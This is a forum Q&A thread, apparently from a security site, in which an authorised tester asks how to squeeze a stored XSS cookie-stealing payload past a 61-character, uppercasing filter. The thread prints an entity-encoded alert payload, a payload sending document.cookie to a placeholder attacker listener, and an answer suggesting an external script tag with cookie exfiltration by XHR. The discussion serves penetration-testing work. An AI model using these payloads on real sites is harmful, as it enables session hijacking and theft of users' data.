4

I'm testing a web app (for which I have permissions) and I found a stored XSS vulnerability.

It is a little bit tricky to exploit because the input:

  • is being capitalized
  • it has a length constraint of 61 characters (every char over the 61th is being replaced with a .)

If I just insert for example <input oncut=alert(1)>, the payload is transformed to <input oncut=ALERT(1)> and it is not triggered.

To bypass the first problem, I'm using HTML entities, so I'm able to trigger an alert with the following payload:

<input oncut=&#x61;&#x6C;&#x65;&#x72;&#x74;(1)>

I want to show the real impact of the vulnerability and perform a cookie stealing and inject something like (I have a listener on my machine waiting for my php script to grab the cookies. ):

<div onmouseover="new Image().src='http://xx.xxx.xxx.xxx:port/steal.php?c='+escape(document.cookie)>

But this payload is not working as everything after the 61th character is being replaced with a ., and words like http and new Image need to be encoded to avoid the capitalization.

Do you have any suggestion for a payload able to bypass the mentioned constraints?

1 Answer 1

4

I don't know about shortest but may I suggest <SCRIPT SRC="//X.YZ/ABC">? Unless there's CSP (which should block your exploit anyhow), injecting a script tag is a great way to exploit stored XSS. Through protocol-relative URLs and URL shorteners, you can get a very short URL that points to your script directly (or just to the root of your domain, which will serve / redirect to a script). No portion of a script tag needs to be lower-case (I'm not sure if it's strictly standards-compliant but I doubt any browser will care). The script can, of course, be of arbitrary length and characters, and can run wild with the full power of the origin it's running on (including stuff like XHR back to your server with the cookies in the URL or body).

2
  • The URL suggestion is good, but I will still have problems when inserting the escape(document.cookie) portion, as it will be capitalized. I have to encode it and pay attention to not exceed the length limitation.
    – ZugZwang
    Commented Mar 10, 2021 at 14:46
  • 1
    "as it will be capitalized" no it won't. You're not appending the cookies to the URL. You are including your own, entire, totally arbitrary in length and content, script. That script can do whatever it wants (within the bounds of what scripts can do). You can, if you want to, then create a URL with document.cookie stuck on it... but you can also just make a cross-origin XHR/fetch call with the cookies in the URL or body. Or do anything else you want! Exfiltrating cookies is useful if the relevant ones aren't HttpOnly, but that's not always true and there are other things you can do.
    – CBHacking
    Commented Mar 11, 2021 at 4:51

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .